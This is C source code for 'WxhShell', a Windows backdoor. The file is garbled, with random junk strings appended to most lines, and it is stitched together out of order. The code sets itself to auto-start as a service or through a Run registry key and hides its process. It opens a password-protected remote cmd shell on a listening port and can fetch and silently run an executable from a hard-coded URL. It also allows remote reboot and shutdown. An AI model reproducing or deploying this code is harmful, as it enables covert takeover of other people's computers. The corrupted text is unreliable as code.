    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RgB6:f,  
    else { ?$|uT  
    closesocket(wsh); Mw"xm9(Q  
    ExitThread(0); >~I xyQp  
    } lAdDu  
    break; w]>"'o{{  
    } 4M @ oj  
  // 获取shell {OB-J\7Y  
  case 's': { Zm%VG(l  
    CmdShell(wsh); |SGgy|/a#  
    closesocket(wsh); r0\cc6  
    ExitThread(0); cGgM8  
    break; f._l105.  
  } (^sh  
  // 退出 1.# |QX  
  case 'x': { kOs(?=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m#oh?@0}  
    CloseIt(wsh); }3v'Cp0L  
    break; qbS'|--wH  
    } &w+;N5}3  
  // 离开 9[cp7 Rcb  
  case 'q': { ;mDM5.iF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :GU,EDps  
    closesocket(wsh); &|v{#,ymeb  
    WSACleanup(); )^4ko  
    exit(1); `J72+RA  
    break; G 1]"s@8(  
        } 9YR]+*  
  } $o]r ]#B+  
  } Lltc 4Mzw  
A0G)imsW:_  
  // 提示信息 NF6X- ,c d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  )|v^9  
} 9 |' |BC  
  } h}<0/  
/:bKqAz;M  
  return; 25UYOK}!  
} 6SE6AL<b  
w{pUUo:<  
// shell模块句柄 gX[|;IZ0o  
int CmdShell(SOCKET sock) K&*iw`  
{ |+>uA[6#  
STARTUPINFO si; 7 _`L$<-n  
ZeroMemory(&si,sizeof(si)); /D]Kkm)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W+_RhJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8O>}k  
PROCESS_INFORMATION ProcessInfo; ]<1HM"D  
char cmdline[]="cmd"; OB(pIzSe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sONBQ9  
  return 0; #?dUv#  
} $[g_=Z  
@}WNKS&m  
// 自身启动模式 rz6uDJ"  
int StartFromService(void) @:Di`B_{  
{ 9qKzS<"h  
typedef struct Br}h/!NU/  
{  9:5:`' b  
  DWORD ExitStatus; Y2C9(Zk U  
  DWORD PebBaseAddress; EM@ ;3.IO  
  DWORD AffinityMask; hrbo:8SL  
  DWORD BasePriority; .e @>   
  ULONG UniqueProcessId; 1~J5uB4  
  ULONG InheritedFromUniqueProcessId; .x!T+`l>8I  
}   PROCESS_BASIC_INFORMATION; nU(DYHc+l  
_d@=nK)  
PROCNTQSIP NtQueryInformationProcess; 1G;8MPU  
UNDi_6Dy   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q.+|xwz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9AHSs,.t  
RW_q~bA9  
  HANDLE             hProcess; ,m^;&&  
  PROCESS_BASIC_INFORMATION pbi; +R6a}d/K  
Tr& }$kird  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |9Yi7.  
  if(NULL == hInst ) return 0; B6] <G-  
]u#JuX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?7[alV~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;;Ds  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1f#mHt:(  
#`;/KNp 9  
  if (!NtQueryInformationProcess) return 0; \'Z<P,8~  
~9=aT1S|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~>5#5!}@*  
  if(!hProcess) return 0; FB:<zmwR  
15{Y9!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w~Ff%p@9  
W0XF~  
  CloseHandle(hProcess); -"Q-H/qh  
w!SkWS b,~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >u0w.3r#  
if(hProcess==NULL) return 0; PUdM[-zjh  
ceT&Y{T  
HMODULE hMod; M+`H g_#Q  
char procName[255]; O7t(,uox3y  
unsigned long cbNeeded; kforu!C  
pV(lhDNoQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); re &E{  
Ad$n4Ze  
  CloseHandle(hProcess); B[5r|d'  
{/<6v. v  
if(strstr(procName,"services")) return 1; // 以服务启动 ;WU<CKYG*  
J*fBZ.NO  
  return 0; // 注册表启动 Bi3+)k>u7  
} ($nrqAv4  
^Q+i=y{W  
// 主模块 BZv+H=b  
int StartWxhshell(LPSTR lpCmdLine) BxK^?b[E8  
{ $gpG%Qj  
  SOCKET wsl; Jb["4X;h  
BOOL val=TRUE; Cx_Q: 6T  
  int port=0; x]|+\1  
  struct sockaddr_in door; ;z~n.0'  
6\jf|:h  
  if(wscfg.ws_autoins) Install(); mTNVU@TY=  
{yA$V0`N{  
port=atoi(lpCmdLine); f.B>&%JRZ  
A"5z6A4WB  
if(port<=0) port=wscfg.ws_port; Mwp$  
x35cW7R}T_  
  WSADATA data; k n[Y   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (b,[C\RBF  
R%D'`*+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 1a. #o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); COzyG.R.  
  door.sin_family = AF_INET; F0vM0 e-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OS|>t./U  
  door.sin_port = htons(port); !2UOC P  
{O<l[|Ip  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wa=uUM_4u^  
closesocket(wsl); {gNV[45  
return 1; _p-t<ytnh  
} ;Vik5)D2D  
wkqX^i7ls  
  if(listen(wsl,2) == INVALID_SOCKET) { m!z|h9Ed  
closesocket(wsl); )}vNOE?X~  
return 1; NLPkh,T:  
} v[plT2"s  
  Wxhshell(wsl); <s5qy-  
  WSACleanup(); |tR OL 9b  
##Q/I|  
return 0; vx_o(wof  
 c gzwx  
} )*;zW! H  
3p2P= T  
// 以NT服务方式启动 pD]0`L-HJU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kF;D BN  
{ mC?i}+4>4R  
DWORD   status = 0; 53-v|'9'  
  DWORD   specificError = 0xfffffff; G7--v,R1x  
-/{ 4Jf Wf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ev7J+TmXM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >9RD_QG7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Kvl!F!`  
  serviceStatus.dwWin32ExitCode     = 0; )ZrS{vY  
  serviceStatus.dwServiceSpecificExitCode = 0; 8Og_W8  
  serviceStatus.dwCheckPoint       = 0; >#Q\DsDS  
  serviceStatus.dwWaitHint       = 0; 2C{H$ A,pW  
Y6,Rj:8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D +_oVob\  
  if (hServiceStatusHandle==0) return; H$G0`LP0/a  
'13ZX:  
status = GetLastError(); ;nC.fBu  
  if (status!=NO_ERROR) bAKiq}xG%i  
{ &Ysosy*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .9md~j:o^s  
    serviceStatus.dwCheckPoint       = 0; &Tl 0Pf  
    serviceStatus.dwWaitHint       = 0; moP,B~  
    serviceStatus.dwWin32ExitCode     = status; s"Pf+aTW  
    serviceStatus.dwServiceSpecificExitCode = specificError; =K{\p`?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }y9mNT  
    return; ~QvqG{bFB  
  } JXyM\}9-X  
/mp*>sNr6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (JM4R8fR&  
  serviceStatus.dwCheckPoint       = 0; %Y!Yvw^&P(  
  serviceStatus.dwWaitHint       = 0; f!O{%ev  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yHxosxd<*  
} }$bF 5&  
fN'HE#W1Xa  
// 处理NT服务事件,比如:启动、停止 }Tf9S<xpq3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^"J8r W6[  
{ !S&L*OH,  
switch(fdwControl) Sm~l:v0%  
{ 5|jw^s7  
case SERVICE_CONTROL_STOP: 4)1s M=u  
  serviceStatus.dwWin32ExitCode = 0; 0ez(A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B<C*  
  serviceStatus.dwCheckPoint   = 0; s}N#n(  
  serviceStatus.dwWaitHint     = 0; <{~6}6o  
  { e9Nk3Sj]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u]vQ>Uu  
  } J!:SPQ  
  return; 61xs%kxb..  
case SERVICE_CONTROL_PAUSE: |j 6OM{@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >@"Oe  
  break; M`ip~7"  
case SERVICE_CONTROL_CONTINUE: ezPz<iZ\N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sJ]taY ou  
  break; ?.D3'qv  
case SERVICE_CONTROL_INTERROGATE: ar:+;.n  
  break; <vXGi  
}; AE} )o)B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /% kY0 LY  
} Y-7^o@y  
@-+Q# Zz`  
// 标准应用程序主函数 Yot?=T};3{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 ~ >FYX  
{ =C~/7N,lW]  
,Jd ',>3  
// 获取操作系统版本 PG,_^QGCX  
OsIsNt=GetOsVer(); R+Y4|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s+Q~~]HJM  
XP@1~$  
  // 从命令行安装 K# Jk _"W  
  if(strpbrk(lpCmdLine,"iI")) Install(); :sC qjz  
5< ja3  
  // 下载执行文件 HeG)/W?r  
if(wscfg.ws_downexe) { i\dc>C ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *V+j%^91}  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kw#i),M  
} U4cY_p?  
G#?Sfn O0  
if(!OsIsNt) { f4BnX(1u  
// 如果时win9x,隐藏进程并且设置为注册表启动 '7oA< R  
HideProc(); FXs*vg`  
StartWxhshell(lpCmdLine); 7PkJ-JBA  
} 1|ra&(=)  
else ;g~TWy^o  
  if(StartFromService()) v{A KEX*  
  // 以服务方式启动 KG=h&  
  StartServiceCtrlDispatcher(DispatchTable); ?2oHZ%G  
else ` P9XqWr  
  // 普通方式启动 +-G<c6 |  
  StartWxhshell(lpCmdLine); [w -l?  
AW,53\ 0  
return 0; l \sU  
} HvVts\f  
#H0dZ.$b0  
YJo["Q  
|<GDUwC_;  
=========================================== 3}/&w\$  
|M+<m">E  
n-%s8aaVf  
g]c6& Y,#  
{>F7CT'G6  
3.qTLga|}  
" ? 8LXP  
(x3.poSt  
#include <stdio.h> et }T %~T  
#include <string.h> w.0qp)}  
#include <windows.h> @U2qD  J6  
#include <winsock2.h> }|XtypbL  
#include <winsvc.h> QPfc(Z  
#include <urlmon.h> V?=8".GiX  
PZ*pQ=`  
#pragma comment (lib, "Ws2_32.lib") AqV7\gdOC  
#pragma comment (lib, "urlmon.lib") dS<C@(  
fF V!)Zj  
#define MAX_USER   100 // 最大客户端连接数 8f3vjK'  
#define BUF_SOCK   200 // sock buffer G rk@dZI  
#define KEY_BUFF   255 // 输入 buffer l'TWkQ-  
1SR+m>pL  
#define REBOOT     0   // 重启 ivW(*c  
#define SHUTDOWN   1   // 关机 !H}vu]R  
afb+GA!  
#define DEF_PORT   5000 // 监听端口 ,Y>Bex_v  
!OuWPH. :  
#define REG_LEN     16   // 注册表键长度 >J>b>SU=-  
#define SVC_LEN     80   // NT服务名长度 1hziXC0WY  
^)W[l!!<)  
// 从dll定义API p^'3Odd|O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KFFSv{m[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y14W?|KOB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WuZ/C_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6MxKl D7kl  
A21N|$[  
// wxhshell配置信息 /*c\qXA5  
struct WSCFG { |USX[j m\  
  int ws_port;         // 监听端口  1"e)5xI  
  char ws_passstr[REG_LEN]; // 口令 ,Uy|5zv  
  int ws_autoins;       // 安装标记, 1=yes 0=no .({smN,B  
  char ws_regname[REG_LEN]; // 注册表键名 UF@XK">  
  char ws_svcname[REG_LEN]; // 服务名 ;j)FnY=:-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y "VY%S^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y]3>7q%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J:kmqk!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "|HDGA5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q=9`06  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XB_B4X1R  
//4Xq8y  
}; HX6Ma{vBk  
G2^et$<{uU  
// default Wxhshell configuration 5T:i9h  
struct WSCFG wscfg={DEF_PORT, [u._q:A  
    "xuhuanlingzhe", -c}, :G"  
    1, Usta0Ag  
    "Wxhshell", 5Fz.Y}  
    "Wxhshell", <$hu   
            "WxhShell Service", _IdRF5<4  
    "Wrsky Windows CmdShell Service", p}<w#p |  
    "Please Input Your Password: ", m{7(PHpw  
  1, nQ/E5y  
  "http://www.wrsky.com/wxhshell.exe", EMc;^ d  
  "Wxhshell.exe" s|NjT  
    }; m-jHze`D3  
A.5i"Ci[ie  
// 消息定义模块 3q?\r` a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =2 *rA'im  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0pSmj2/,.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yZWoN&  
char *msg_ws_ext="\n\rExit."; {b@KYR9K  
char *msg_ws_end="\n\rQuit."; j6g[N4xr  
char *msg_ws_boot="\n\rReboot..."; OGY"<YH6  
char *msg_ws_poff="\n\rShutdown..."; Hp(D);0+)  
char *msg_ws_down="\n\rSave to "; N72Yq)(  
%G?;!Lz  
char *msg_ws_err="\n\rErr!"; W\L`5CW  
char *msg_ws_ok="\n\rOK!"; R9! Uo  
|> _!eS\=<  
char ExeFile[MAX_PATH]; .%82P(  
int nUser = 0; !L95^g   
HANDLE handles[MAX_USER]; ,<Q~b%(3  
int OsIsNt; wm+})SOX9  
Kb^>-[Yx  
SERVICE_STATUS       serviceStatus; M1%Dg'}G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZoB {x*IH  
/QEiMrz@6  
// 函数声明 g(| 6~}|o+  
int Install(void); kZ=s'QRgL  
int Uninstall(void); OK{xuX8u  
int DownloadFile(char *sURL, SOCKET wsh); B7Tk4q\;Q  
int Boot(int flag); u1c%T@w>Lz  
void HideProc(void); >~\89E 02  
int GetOsVer(void); ov\HsTeZ  
int Wxhshell(SOCKET wsl); Cz8f1suO4  
void TalkWithClient(void *cs); c   c  
int CmdShell(SOCKET sock); M+!x}$ &v  
int StartFromService(void); @K:N,@yq  
int StartWxhshell(LPSTR lpCmdLine); YQ0)5}  
lW 81q2n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8_!.!Kde |  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rl6\#C*  
[+Y{%U  
// 数据结构和表定义 Eaqca{%/^  
SERVICE_TABLE_ENTRY DispatchTable[] = v0Ir#B,[H  
{ y4Er @8I`  
{wscfg.ws_svcname, NTServiceMain}, cc44R|Kr$$  
{NULL, NULL} 9RwawTM  
}; Ap$y%6  
'>(.%@  
// 自我安装 m~'? /!!  
int Install(void) $M:3XAN  
{ |/ }\6L]  
  char svExeFile[MAX_PATH]; vJ`.iRU|  
  HKEY key; <*EZ@XoN>  
  strcpy(svExeFile,ExeFile); Ac|5. ?|N  
auWXgkwZs/  
// 如果是win9x系统,修改注册表设为自启动 rbZ[!LA  
if(!OsIsNt) { X#w%>al  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =?X$Yaw*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6/ `.(fL1  
  RegCloseKey(key); pA4*bO+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aJqeD'\>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >ulY7~wUv  
  RegCloseKey(key); $c&0F,   
  return 0; G9g6.8*&  
    } ^ZTGJ(j7~  
  }  st 'D  
} De_C F8  
else { B%\gkl  
e &9F\e  
// 如果是NT以上系统,安装为系统服务 rbqo"g`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~svO*o Wa  
if (schSCManager!=0) Ejq#~Zhr!  
{ z{]?h cY  
  SC_HANDLE schService = CreateService #2xSyOrmf  
  ( XUV!C 7  
  schSCManager, j*;N\;iL!*  
  wscfg.ws_svcname, M*pRv  
  wscfg.ws_svcdisp, insY(.N  
  SERVICE_ALL_ACCESS, B8I4[@m>w\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q1k{  
  SERVICE_AUTO_START, iwY'4 Z e  
  SERVICE_ERROR_NORMAL, 'YSuQP>  
  svExeFile, qO`qJ/  
  NULL, 8X&Ya =  
  NULL, 9x`4 RE  
  NULL, "zZI S6j  
  NULL, )yxT+g2!  
  NULL dv N<5~  
  ); 'q%%m/,VPQ  
  if (schService!=0) !#?kWAU  
  { #< CIFVH  
  CloseServiceHandle(schService); UmKX*T9  
  CloseServiceHandle(schSCManager); ")lw9t`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0NO1M)HQv  
  strcat(svExeFile,wscfg.ws_svcname); t0m*PJcF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J7i+c];!<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?n'O Fpd  
  RegCloseKey(key); u@.>WHQN  
  return 0; '=cKU0 G#  
    } K3p@$3hQ  
  } V{Q kN7-  
  CloseServiceHandle(schSCManager); 5^)_B;.f  
} 3#.\  
} s\0Ko1  
PCfo  
return 1; Nf?\AK!  
} /r.6XZs6  
h{]#ag5`  
// 自我卸载 [N|xzMe  
int Uninstall(void) %%g-GyP 1  
{ N\R=cwk  
  HKEY key; _ 6:ww/  
v:d9o.h  
if(!OsIsNt) { v$$]Gv(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j Selop>N  
  RegDeleteValue(key,wscfg.ws_regname); uu}-"/<~7  
  RegCloseKey(key); *_)E6Y?9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ^Omfe  
  RegDeleteValue(key,wscfg.ws_regname); n,KA&)/s  
  RegCloseKey(key); l_+A5Xy  
  return 0; [b`6v`x  
  } ,$Tk$  
} ]*ov&{'  
} cgyo_ k  
else { c#\-%h  
:t2B^})\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Xdn62[&  
if (schSCManager!=0) jzrt7p*k}  
{ Kpg:yrc['  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RG? MRxC  
  if (schService!=0) +"L$ed(=nJ  
  { wD=am  
  if(DeleteService(schService)!=0) { 5\G)Q<A]*L  
  CloseServiceHandle(schService); ]p$zvMf}  
  CloseServiceHandle(schSCManager); UB&2f>  
  return 0; v>at/ef  
  } N5\{yV21",  
  CloseServiceHandle(schService); v&2+'7]w r  
  } ylkqhs&  
  CloseServiceHandle(schSCManager); m"-G6BKS  
}  ^Fp=y,D  
} BkT-m'I?  
*8206[y  
return 1; l"L+e!B~  
} ~'[jBn)  
yfq>,  
// 从指定url下载文件 {_as!5l  
int DownloadFile(char *sURL, SOCKET wsh) %Qd3BZ  
{ F '#^`G9  
  HRESULT hr; _ _ =s'  
char seps[]= "/"; 9}XT'+`y  
char *token; =phiD&=  
char *file; wWFW,3b  
char myURL[MAX_PATH]; k.{G&]r{  
char myFILE[MAX_PATH]; uTw|Q{f  
O=`o'%K<  
strcpy(myURL,sURL); 5U;nhDmM  
  token=strtok(myURL,seps); 1t%<5O;R  
  while(token!=NULL) FpC~1Nau  
  { N&N 82OG  
    file=token; ?w8p LE~E  
  token=strtok(NULL,seps); kdd7X bw-  
  } 1!f2*m  
L"9 Gc  
GetCurrentDirectory(MAX_PATH,myFILE); h=Oh9zsz8  
strcat(myFILE, "\\"); tgfM:kzw  
strcat(myFILE, file); ' XEK&Yi1  
  send(wsh,myFILE,strlen(myFILE),0); aa!a&L|!  
send(wsh,"...",3,0); x57'Cg \  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gb9[Meg'  
  if(hr==S_OK) 4UazD_`'  
return 0; !4L#$VG  
else Lv^a+'  
return 1; sxt`0oE  
9yDFHz w  
} jvWI_Fto  
l&$*}yCK  
// 系统电源模块 jPj 2  
int Boot(int flag) (Q\\Gw   
{ B'!PJj  
  HANDLE hToken; <gR`)YF7  
  TOKEN_PRIVILEGES tkp; #,)P N @P  
s7vPI   
  if(OsIsNt) { *|sxa#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ys)+9yPPn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nx D'r  
    tkp.PrivilegeCount = 1; z?I+u* rF6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BjwMb&a;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7<fL[2-  
if(flag==REBOOT) { exsQmbj* %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #fO*ROe  
  return 0; >QA/Mi~R  
} j,Pwket  
else { otoBb^Mz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _jiQL66pY  
  return 0; B,w:DX  
} TS/Cp{  
  } ^P]?3U\nj  
  else { qjJ{+Rz2  
if(flag==REBOOT) { *O!T!J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `!]R!T@C  
  return 0; _w\Y{(k  
} _r~!O$2  
else { 5XI;<^n2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xGwTk  
  return 0; `8mD7xsg$  
} -3u@hp_  
} U0!^m1U:  
GJ.kkTMT  
return 1; sg+ZQDF{x  
} ~6\& y  
f2`P8$U)R  
// win9x进程隐藏模块 ]d[Rf$>vu0  
void HideProc(void) &b 5T&-C<  
{ >6*(}L9  
?s1u#'aO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w/?nUp  
  if ( hKernel != NULL ) '2 w XV;`  
  { q-A`/9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V h Z=,m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8f /T!5  
    FreeLibrary(hKernel); ~gSwxGT7d  
  } i_[^s:*T  
*?EO n-  
return; sI^@A=.@  
} IOSuaLH^  
c-[Q,c  
// 获取操作系统版本 M(_^'3u  
int GetOsVer(void) ,Wz[tYL*  
{ *p""YEN  
  OSVERSIONINFO winfo; |WD,\=J2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7p P|  
  GetVersionEx(&winfo); +io;K]C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2$o2.$i81  
  return 1; L4\SB O  
  else 3~cS}N T  
  return 0; }2-[Ki yv  
} zAKq7'_=  
 1m&!l6Jk  
// 客户端句柄模块 \e`6=Q%  
int Wxhshell(SOCKET wsl) TSc~$Q]  
{ kA7~Yu5|  
  SOCKET wsh; Hv[d<ylO  
  struct sockaddr_in client; Qh)|FQ[s$r  
  DWORD myID; EpFIKV!  
|#DC.Ga!  
  while(nUser<MAX_USER) g\ 8#:@at  
{ 1TK #eU  
  int nSize=sizeof(client); kGB#2J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]%NO"HzF~  
  if(wsh==INVALID_SOCKET) return 1; H B::0l<  
R-g>W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _9}x2uO~  
if(handles[nUser]==0) UPfFT^=y  
  closesocket(wsh); k7z(Gbzu   
else \j,v/C@c-  
  nUser++; gt2>nTJz.Z  
  } r6O7&Me<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A^T~@AO  
q;1VF;<"vH  
  return 0; +XU$GSw3(  
} #Qtg\X  
TS\A`{^T  
// 关闭 socket /{eih]`x(  
void CloseIt(SOCKET wsh) J[<D/WIH  
{ 7$q2v=tH_  
closesocket(wsh); S7Iu?R_I  
nUser--; 6T{o3wc;  
ExitThread(0); gTmUK{y'  
} 4%',scn  
[#STR=_f  
// 客户端请求句柄 :=iM$_tp'  
void TalkWithClient(void *cs) V'HlAQr  
{ ;y?D1o^r8W  
aIn)']  
  SOCKET wsh=(SOCKET)cs; 4'}_qAT  
  char pwd[SVC_LEN]; c{]r{FAx9o  
  char cmd[KEY_BUFF]; 1A`?y& Ll  
char chr[1]; M f%^\g.}  
int i,j; |mQtjo  
{E3<GeHw4  
  while (nUser < MAX_USER) { \V"P maP\  
RF,=bOr19  
if(wscfg.ws_passstr) { =E"kv!e   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (N~zJ .o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iS:PRa1  
  //ZeroMemory(pwd,KEY_BUFF); C%95~\Ds  
      i=0; 2h|(8f:y  
  while(i<SVC_LEN) { Fl#VKU3h  
xnhDW7m  
  // 设置超时 "dLMBY~  
  fd_set FdRead; HYI1 o/}  
  struct timeval TimeOut; [F AOp@7W  
  FD_ZERO(&FdRead); }]39 iK`w  
  FD_SET(wsh,&FdRead); )]>i >  
  TimeOut.tv_sec=8; (Qh7bfd  
  TimeOut.tv_usec=0; .Kh(F 6 s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X#Dhk6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hD6ur=G8u  
Z68Wf5@to&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LjH&f 4mY  
  pwd=chr[0]; nuQLq^e  
  if(chr[0]==0xd || chr[0]==0xa) { TReM8Vd  
  pwd=0; ;@7 #w  
  break; c~pUhx1(  
  } Wf`Oye Rz  
  i++; TgQ|T57  
    } hPqapz]HcP  
'Qs 3  
  // 如果是非法用户,关闭 socket 0LHiOav  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Og;$P 'U  
} Lm*LJ_+ B  
'De'(I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |q!2i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QkCoW[sn  
9tc@   
while(1) { ?/l}(t$H  
Z_OqXo=  
  ZeroMemory(cmd,KEY_BUFF); ;5oH6{7_Z  
WJFTy+bD  
      // 自动支持客户端 telnet标准   Bn#HJ17/#  
  j=0; t 1RwB23  
  while(j<KEY_BUFF) { Ng;b!S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "za*$DU  
  cmd[j]=chr[0]; AZ]SRz9mKY  
  if(chr[0]==0xa || chr[0]==0xd) { 1:{O RX[;  
  cmd[j]=0; i2ml[;*,N  
  break; RJ@e5A6_  
  } ry'^1~,  
  j++; #:\+7mCF  
    } a+a%}76N  
Mi/'4~0Y  
  // 下载文件 VzYP:QRz  
  if(strstr(cmd,"http://")) { e~ 78'UH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yA>p[F  
  if(DownloadFile(cmd,wsh)) n,Mw# r?y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IO&#)Ft  
  else +$mskj0s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q!oZ; $  
  } dBq,O%$oq  
